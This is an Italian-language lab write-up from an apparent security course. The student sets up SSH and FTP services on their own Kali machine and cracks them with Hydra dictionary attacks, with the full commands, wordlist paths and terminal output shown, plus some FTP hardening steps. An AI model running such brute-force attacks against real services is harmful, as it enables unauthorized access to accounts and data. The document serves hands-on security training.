PASSWORD CRACKING:

#KALI LINUX
#HYDRA

TRACCIA: *NETWORK AUTHENTICATION CRACKING*

L'ESERCIZIO DI OGGI HA UN DUPLICE SCOPO:
- FARE PRATICA CON HYDRA PER CRACCARE L'AUTENTICAZIONE DEI SERVIZI DI RETE
- CONSOLIDARE LE CONOSCENZE DEI SERVIZI STESSI TRAMITE LA LORO CONFIGURAZIONE

RICORDATE CHE LA CONFIGURAZIONE DEI SERVIZI È ESSA STESSA PARTE DELL'ESERCIZIO

L'ESERCIZIO SI SVILUPPERÀ IN DUE FASI:
- UNA PRIMA FASE DOVE INSIEME VEDREMO **L'ABILITAZIONE DI UN SERVIZIO SSH** E LA RELATIVA SESSIONE DI CRACKING DELL'AUTENTICAZIONE CON HYDRA
- UNA SECONDA FASE DOVE SARETE LIBERI DI CONFIGURARE E CRACCARE UN QUALSIASI SERVIZIO DI RETE TRA QUELLI DISPONIBILI, AD ESEMPIO FTP, RDP, TELNET, AUTENTICAZIONE HTTP.

ESERCIZIO GUIDATO: *CONFIGURAZIONE E CRACKING SSH*

- CREIAMO UN NUOVO UTENTE SU KALI LINUX, CON IL COMANDO «***ADDUSER***». ***SUDO ADDUSER TEST_USER***
- CHIAMIAMO L'UTENTE **TEST_USER**, E CONFIGURIAMO UNA PASSWORD INIZIALE **TESTPASS**
- ATTIVIAMO IL SERVIZIO SSH CON IL COMANDO ***SUDO SERVICE SSH START***
- IL FILE DI CONFIGURAZIONE DEL DEMONE SSHD LO TROVIAMO AL PATH ***SUDO NANO /ETC/SSH/SSHD_CONFIG***, QUI POSSIAMO ABILITARE L'ACCESSO ALL'UTENTE ROOT IN SSH (DI DEFAULT PER RAGIONI DI SICUREZZA È VIETATO), **CAMBIARE LA PORTA** E L'INDIRIZZO DI BINDING DEL SERVIZIO E MODIFICARE MOLTE ALTRE OPZIONI. RICORDATE CHE PER TUTTI I SERVIZI C'È UN FILE DI CONFIGURAZIONE DOVE POTETE MODIFICARE LE IMPOSTAZIONI DEL SERVIZIO STESSO. AI FINI DELL'ESERCIZIO LASCIAMO IL FILE COSÌ E PROCEDIAMO.
- TESTIAMO LA CONNESSIONE IN SSH DELL'UTENTE APPENA CREATO SUL SISTEMA, ESEGUENDO IL COMANDO SEGUENTE: ***SSH TEST_USER@IP_KALI***, SOSTITUITE IP_KALI CON L'IP DELLA VOSTRA MACCHINA
- SE LE CREDENZIALI INSERITE SONO CORRETTE, DOVRESTE RICEVERE IL PROMPT DEI COMANDI DELL'UTENTE TEST_USER SULLA NOSTRA KALI.
- A QUESTO PUNTO, AVENDO VERIFICATO L'ACCESSO, NON CI RESTA CHE CONFIGURARE HYDRA PER UNA SESSIONE DI CRACKING. OVVIAMENTE IN QUESTO ESERCIZIO CONOSCIAMO GIÀ L'UTENTE E LA PASSWORD PER ACCEDERE, MA SOFFERMIAMOCI SULLA SINTASSI DI HYDRA PER ORA, SUCCESSIVAMENTE POTETE CAMBIARE E SCEGLIERE USERNAME E PASSWORD RANDOM PER TESTARE IL SISTEMA IN «BLACKBOX».
- DURANTE LA LEZIONE TEORICA ABBIAMO VISTO CHE POSSIAMO ATTACCARE L'AUTENTICAZIONE SSH CON HYDRA CON IL COMANDO SEGUENTE, DOVE **–L**, E **–P** MINUSCOLE SI USANO SE VOGLIAMO UTILIZZARE UN SINGOLO USERNAME ED UNA SINGOLA PASSWORD. IPOTIZZIAMO DI NON CONOSCERE USERNAME E PASSWORD ED UTILIZZIAMO INVECE DELLE LISTE PER L'ATTACCO A DIZIONARIO. USEREMO GLI SWITCH **–L, -P** (NOTATE CHE SONO ENTRAMBE IN MAIUSCOLO) **hydra –l username –p password IP –t 4 ssh**

IL NOSTRO COMANDO SARÀ QUINDI
hydra –L username_list –P password_list IP_KALI –t 4 ssh

DOVE SOSTITUIREMO **USERNAME_LIST** E **PASSWORD_LIST** CON LE WORDLIST SCARICATE E IP KALI CON IL NOSTRO IP.
SE VOLETE SCARICARE UNA COLLEZIONE DI USERNAME E PASSWORD, **INSTALLATE SECLISTS**. SECLISTS CONTIENE ELENCHI DI USERNAME E PASSWORD PIUTTOSTO VASTI. UTILIZZATE IL COMANDO «***SUDO APT INSTALL SECLISTS***»
POTETE AGGIUNGERE LO SWITCH **–V**, IN MODO TALE DA CONTROLLARE «LIVE» I TENTATIVI DI BRUTE FORCE DI HYDRA

DOPO QUALCHE MINUTO DI ATTESA, ECCO CHE ABBIAMO TROVATO UN ACCESSO VALIDO. QUESTO VI DEVE FAR RIFLETTERE SU QUANTO SIA IMPORTANTE CONFIGURARE UN UTENTE ED UNA PASSWORD PIUTTOSTO COMPLICATI DA «INDOVINARE» E SOPRATTUTTO NON STANDARD.

ESERCIZIO FASE 2: *SUGGERIMENTO*

PER LA SECONDA PARTE DELL'ESERCIZIO, SCEGLIETE UN SERVIZIO DA CONFIGURARE E POI PROVATE A CRACCARE L'AUTENTICAZIONE CON HYDRA.
SE OPTATE PER IL SERVIZIO FTP, POTETE SEMPLICEMENTE INSTALLARLO CON IL SEGUENTE COMANDO:
SUDO APT INSTALL VSFTPD
E POI AVVIARE IL SERVIZIO CON **SUDO SERVICE VSFTPD START**

CONSEGNA:

1. MI POSIZIONO IN **NAT**, UTILIZZATE IL COMANDO ***SUDO APT INSTALL SECLISTS***, ***SUDO APT INSTALL VSFTPD***
2. MI POSIZIONO IN **RETE INTERNA**, ESERCIZIO GUIDATO SU **SSH DA KALI A KALI**
3. **FTP DA KALI A KALI**
4. **BONUS:** TELNET / SSH / FTP DA KALI A METASPLOITABLE (IN RETE INTERNA) UTENTE MSFADMIN PASSWORD LISTADIPASSWORD (CON MSFADMIN INCLUSO)

#ESERCIZIO GUIDATO 1: SSH DA KALI A KALI

INSTALLO LE WORDLISTS CON SECLISTS, AGGIUNGO UN UTENTE NUOVO A KALI CON PASSWORD PREDEFINITA, ABILITO IL SERVIZIO SSH CON AUTENTICAZIONE ALL'UTENTE TEST_USER.

```
File  Actions  Edit  View  Help

┌──(django㉿kali)-[~]
└─$ sudo apt install seclists
[sudo] password for django:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 1538 not upgraded.
Need to get 464 MB of archives.
After this operation, 1868 MB of additional disk space will be used.
Get:1 http://mirror.init7.net/kali kali-rolling/main amd64 seclists all 2023.4-0kali1 [464 MB]
Fetched 464 MB in 4min 0s (1935 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 400121 files and directories currently installed.)
Preparing to unpack .../seclists_2023.4-0kali1_all.deb ...
Unpacking seclists (2023.4-0kali1) ...
Setting up seclists (2023.4-0kali1) ...
Processing triggers for kali-menu (2023.4.3) ...
Processing triggers for wordlists (2023.2.0) ...

┌──(django㉿kali)-[~]
└─$ sudo apt update
[sudo] password for django:
Get:1 http://mirror.init7.net/kali kali-rolling InRelease [41.5 kB]
Get:2 http://mirror.init7.net/kali kali-rolling/main amd64 Packages [19.6 MB]
Get:3 http://mirror.init7.net/kali kali-rolling/main amd64 Contents (deb) [46.5 MB]
Get:4 http://mirror.init7.net/kali kali-rolling/contrib amd64 Packages [122 kB]
Get:5 http://mirror.init7.net/kali kali-rolling/contrib amd64 Contents (deb) [247 kB]
Get:6 http://mirror.init7.net/kali kali-rolling/non-free amd64 Packages [194 kB]
Get:7 http://mirror.init7.net/kali kali-rolling/non-free amd64 Contents (deb) [902 kB]
Get:8 http://mirror.init7.net/kali kali-rolling/non-free-firmware amd64 Packages [33.0 kB]
Fetched 67.7 MB in 20s (3314 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1601 packages can be upgraded. Run 'apt list --upgradable' to see them.

┌──(django㉿kali)-[~]
└─$ sudo su
[sudo] password for django:
┌──(root㉿kali)-[/home/django]
└─# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...

info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password: TESTPASS
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(root㉿kali)-[/home/django]
└─# service ssh start

┌──(root㉿kali)-[/home/django]
└─# nano /etc/ssh/sshd_config

┌──(root㉿kali)-[/home/django]
└─# ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:UeuVhikRqNfG2UxT3TTiRl2YqC1L5Sz3hhd2JAEMw6g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$
```

SESSIONE DI CRACKING CON HYDRA:

- PRIMA SULL'UTENTE CONOSCIUTO "TEST_USER", E PASSWORD CONOSCIUTA "TESTPASS"
- SECONDA SULL'UTENTE CONOSCIUTO "TEST_USER", E PASSWORD DA CERCARE CON ATTACCO A DIZIONARIO TRAMITE WORDLISTS DI SECLISTS.

HO PROVATO A CERCARE IN MODALITÀ "BLACKBOX" ENTRAMBI I DATI, UTENTE E PASSWORD, MA CI IMPIEGAVA TROPPO TEMPO, COSÌ HO FORMITO ALMENO IL NOME UTENTE AL FINE DI FAR VEDERE SEMPLICEMENTE CHE IL CRACKING FUNZIONA. NELL'ULTIMO SCREENSHOT SI PUÒ VEDERE LO SVOLGIMENTO CON L'AGGIUNTA DELLO SWITCH -V .

```
File  Actions  Edit  View  Help

https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

Welcome to the Hydra Wizard

Enter the service to attack (eg: ftp, ssh, http-post-form): ssh
Enter the target to attack (or filename with targets): 192.168.50.100
Enter a username to test or a filename: test_user
Enter a password to test or a filename: testpass
If you want to test for passwords (s)ame as login, (n)ull or (r)everse login, enter these letters without
spaces (e.g. "sr") or leave empty otherwise:
Port number (press enter for default):

The following options are supported by the service module:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-11 12:32:46

Help for module ssh:
==============================================================================
The Module ssh does not need or support optional parameters

If you want to add module options, enter them here (or leave empty):

The following command will be executed now:
 hydra -l test_user -p testpass -u    192.168.50.100 ssh

Do you want to run the command now? [Y/n] y

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-11 12:32:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the task
s: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-11 12:32:59
┌──(django㉿kali)-[~]
└─$
```

```
File  Actions  Edit  View  Help

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-11 12:32:59
┌──(django㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwo
rds/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-11 12:36:01
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~207386
3750000 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 40.00 tries/min, 40 tries in 00:01h, 8295454999960 to do in 3456439583:20h, 4 active
[STATUS] 30.00 tries/min, 84 tries in 00:03h, 8295454999916 to do in 4937770033:18h, 4 active
[STATUS] 26.29 tries/min, 184 tries in 00:07h, 8295454999816 to do in 5259799365:50h, 4 active
[STATUS] 26.93 tries/min, 404 tries in 00:15h, 8295454999596 to do in 5133326113:37h, 4 active
[STATUS] 25.94 tries/min, 804 tries in 00:31h, 8295454999196 to do in 5330827217:34h, 4 active

^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

┌──(django㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.
50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-11 13:14:16
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous se
ssion found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000000 login tries (l:1/p:1000000), ~250000 tries per t
ask
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 999956 to do in 378:47h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 999916 to do in 595:12h, 4 active
[STATUS] 27.14 tries/min, 190 tries in 00:07h, 999810 to do in 613:56h, 4 active
[STATUS] 26.93 tries/min, 404 tries in 00:15h, 999596 to do in 618:34h, 4 active
[STATUS] 25.94 tries/min, 804 tries in 00:31h, 999196 to do in 642:07h, 4 active
[STATUS] 25.77 tries/min, 1211 tries in 00:47h, 998789 to do in 646:04h, 4 active
[STATUS] 25.78 tries/min, 1624 tries in 01:03h, 998376 to do in 645:31h, 4 active
[STATUS] 25.80 tries/min, 2038 tries in 01:19h, 997962 to do in 644:45h, 4 active
[STATUS] 25.80 tries/min, 2451 tries in 01:35h, 997549 to do in 644:25h, 4 active
[STATUS] 25.85 tries/min, 2869 tries in 01:51h, 997131 to do in 642:59h, 4 active
[STATUS] 25.78 tries/min, 3274 tries in 02:07h, 996726 to do in 644:24h, 4 active
[STATUS] 25.72 tries/min, 3678 tries in 02:23h, 996322 to do in 645:37h, 4 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

┌──(django㉿kali)-[~]
└─$
```

```
File  Actions  Edit  View  Help

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "gfhjkm1" - 5169 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fyutkbyf" - 5170 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "finance" - 5171 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "farley" - 5172 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dogshit" - 5173 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "digital1" - 5174 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "crack" - 5175 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "counter" - 5176 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "corsair" - 5177 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "company" - 5178 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "colonel" - 5179 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "claudi" - 5180 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "carolin" - 5181 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "caprice" - 5182 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "caligula" - 5183 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bulls" - 5184 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "blackout" - 5185 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "beatle" - 5186 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "beans" - 5187 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "banzai" - 5188 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "banner" - 5189 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "artem" - 5190 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "9562876" - 5191 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "5656" - 5192 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1945" - 5193 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "159632" - 5194 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "15151515" - 5195 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456qw" - 5196 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567891" - 5197 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "02051983" - 5198 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "02041983" - 5199 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "02031987" - 5200 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "02021989" - 5201 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "z1x2c3v4" - 5202 of 1000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "xing" - 5203 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "vSjasnel12" - 5204 of 1000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "twenty" - 5205 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "toolman" - 5206 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "thing" - 5207 of 1000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 5208 of 1000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "stretch" - 5209 of 1000000 [child 2] (0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-11 19:09:09

┌──(django㉿kali)-[~]
└─$
```

#ESERCIZIO FASE 2: FTP DA KALI A KALI

INSTALLO IL SERVIZIO VSFTPD E LO AVVIO.

```
┌──(django㉿kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password for django:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1601 not upgraded.
Need to get 143 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b3 [143 kB]
Fetched 143 kB in 1s (254 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 405749 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b3_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b3) ...
Setting up vsftpd (3.0.3-13+b3) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.3) ...

┌──(django㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(django㉿kali)-[~]
└─$
```

NEL SERVER FTP, AGLI UTENTI ANONIMI VIENE CONCESSO L'ACCESSO PER IMPOSTAZIONE PREDEFINITA. VADO QUINDI AD EFFETTUARE ALCUNE MODIFICHE AL FILE DI CONFIGURAZIONE DEL SERVIZIO VSFTPD.CONF IN MODO DA ASSICURARMI DI PROTEGGERLO IL + POSSIBILE, DISABILITANDO L'ACCESSO UTENTE ANONIMO E CONCEDENDO L'ACCESSO SOLO ALL'UTENTE SPECIFICO: anonymous_enable=NO / local_enable=YES. INOLTRE PER RENDERE GLI UTENTI LOCALI LIMITATI SOLO ALLE LORO HOME DIRECTORY DURANTE LE SESSIONI FTP, MODIFICO IL SEGUENTE PARAMETRO: chroot_local_user=YES.

A MODIFICHE APPORTATE RIAVVIO IL SERVIZIO.

```
┌──(django㉿kali)-[~]
└─$ sudo nano /etc/vsftpd.conf
[sudo] password for django:

┌──(django㉿kali)-[~]
└─$ service vsftpd restart
```

```
django@kali: ~
File  Actions  Edit  View  Help
 GNU nano 7.2                        /etc/vsftpd.conf *
#chroot_local_user=YES
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone?  vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=NO
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=YES
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=NO
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
#local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
                              [ Read 155 lines ]
^G Help      ^O Write Out  ^W Where Is   ^K Cut       ^T Execute   ^C Location  M-U Undo
^X Exit      ^R Read File  ^\ Replace    ^U Paste     ^J Justify   ^/ Go To Line M-E Redo
```

IN SEGUITO CREO NUOVO UTENTE CON NUOVA PASSWORD (GRANNY/BULLDOZER), CHE ANDRÒ POI MANUALMENTE AD INSERIRE NEL FILE DELLE UTENZE/PASSWORD DI SECLISTS PER FACILITARE IL COMPITO A HYDRA IN CASO LE WORDLISTS NON FOSSERO AGGIORNATE.
FACCIO QUALCHE OPERAZIONE SULL'FTP COME L'APERTURA DEL FIREWALL SULLE PORTE 20 E 21 TCP, PREPARO UNA DIRECTORY UTENTE E CONFIGURO L'ACCESSO FTP TESTANDOLO. TUTTO QUESTO NON SERVE AL FINE DELL'ESERCIZIO, ANCHE SE SU UN ALTRA MACCHINA SAREBBE INTERESSANTE VERIFICARE COME UNA VOLTA AVUTE LE CREDENZIALI CON HYDRA POTREMMO ACCEDERE E SCRICARE/MODIFICARE/CANCELLARE FILE NELLA DIRECTORY DELL'UTENTE VULNERABILE.

```
root@kali: /home/django
File  Actions  Edit  View  Help
Processing triggers for man-db (2.11.2-3) ...

┌──(root㉿kali)-[/home/django]
└─# ufw status
Status: inactive

┌──(root㉿kali)-[/home/django]
└─# ufw allow 20/tcp
Rules updated
Rules updated (v6)

┌──(root㉿kali)-[/home/django]
└─# ufw allow 21/tcp
Rules updated
Rules updated (v6)

┌──(root㉿kali)-[/home/django]
└─# ufw allow 990/tcp
Rules updated
Rules updated (v6)

┌──(root㉿kali)-[/home/django]
└─# ufw enable
Firewall is active and enabled on system startup

┌──(root㉿kali)-[/home/django]
└─# ufw status
Status: active

To                         Action      From
--                         ------      ----
20/tcp                     ALLOW       Anywhere
21/tcp                     ALLOW       Anywhere
990/tcp                    ALLOW       Anywhere
20/tcp (v6)                ALLOW       Anywhere (v6)
21/tcp (v6)                ALLOW       Anywhere (v6)
990/tcp (v6)               ALLOW       Anywhere (v6)

┌──(root㉿kali)-[/home/django]
└─# adduser granny
info: Adding user `granny' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `granny' (1002) ...
info: Adding new user `granny' (1002) with group `granny (1002)' ...
info: Creating home directory `/home/granny' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for granny
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
info: Adding new user `granny' to supplemental / extra groups `users' ...
info: Adding user `granny' to group `users' ...

┌──(root㉿kali)-[/home/django]
└─# mkdir /home/granny/ftp

┌──(root㉿kali)-[/home/django]
└─# chown nobody:nogroup /home/granny/ftp

┌──(root㉿kali)-[/home/django]
└─# chmod a-w /home/granny/ftp

┌──(root㉿kali)-[/home/django]
└─# ls -la /home/granny/ftp
total 8
dr-xr-xr-x 2 nobody nogroup 4096 Feb 13 10:58 .
drwx------ 6 granny granny  4096 Feb 13 10:58 ..
```

AGGIUNGO ALTRE CONFIGURAZIONI A VSFTPD:

```
# You may restrict local users to their home directories.  See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
user_sub_token=$USER
local_root=/home/$USER/ftp
pasv_min_port=40000
pasv_max_port=50000
userlist_enable=YES
userlist_file=/etc/vsftpd.userlist
userlist_deny=NO
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
```

VERIFICO I PERMESSI DI ACCESSO UTENZE; CON L'UTENTE CREATO POSSO ACCEDERE CORRETTAMENTE E GESTIRE FILE NELLA DIRECTORY PREDISPOSTA

```
┌──(root㉿kali)-[/home/django]
└─# systemctl restart vsftpd

┌──(root㉿kali)-[/home/django]
└─# ftp -p 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:django): anonymous
530 Permission denied.
ftp: Login failed
ftp> bye
221 Goodbye.

┌──(root㉿kali)-[/home/django]
└─# ftp -p 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:django): sudo_user
530 Permission denied.
ftp: Login failed
ftp> bye
221 Goodbye.

┌──(root㉿kali)-[/home/django]
└─# ftp -p 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:django): granny
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd files
250 Directory successfully changed.
ftp> get text.txt
local: text.txt remote: text.txt
229 Entering Extended Passive Mode (|||48727|)
150 Opening BINARY mode data connection for text.txt (17 bytes).
100% |***********************************************************|    17       59.71 KiB/s    00:00 ETA
226 Transfer complete.
17 bytes received in 00:00 (13.30 KiB/s)
ftp> put text.txt upload.txt
local: text.txt remote: upload.txt
229 Entering Extended Passive Mode (|||40018|)
150 Ok to send data.
100% |***********************************************************|    17      174.75 KiB/s    00:00 ETA
226 Transfer complete.
17 bytes sent in 00:00 (23.38 KiB/s)
ftp> bye
221 Goodbye.

┌──(root㉿kali)-[/home/django]
└─#
```

INTEGRO LE CREDENZIALI NELLE WORDLISTS DI SECLISTS E LANCIO IL COMANDO CON HYDRA IN ATTESA DEL RISCONTRO

```
┌──(root㉿kali)-[/home/django]
└─# nano /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

┌──(root㉿kali)-[/home/django]
└─# nano /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
```

```
┌──(root㉿kali)-[/home/django]
└─# hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwo
rds/xato-net-10-million-passwords.txt -t4 -V ftp://192.168.50.100
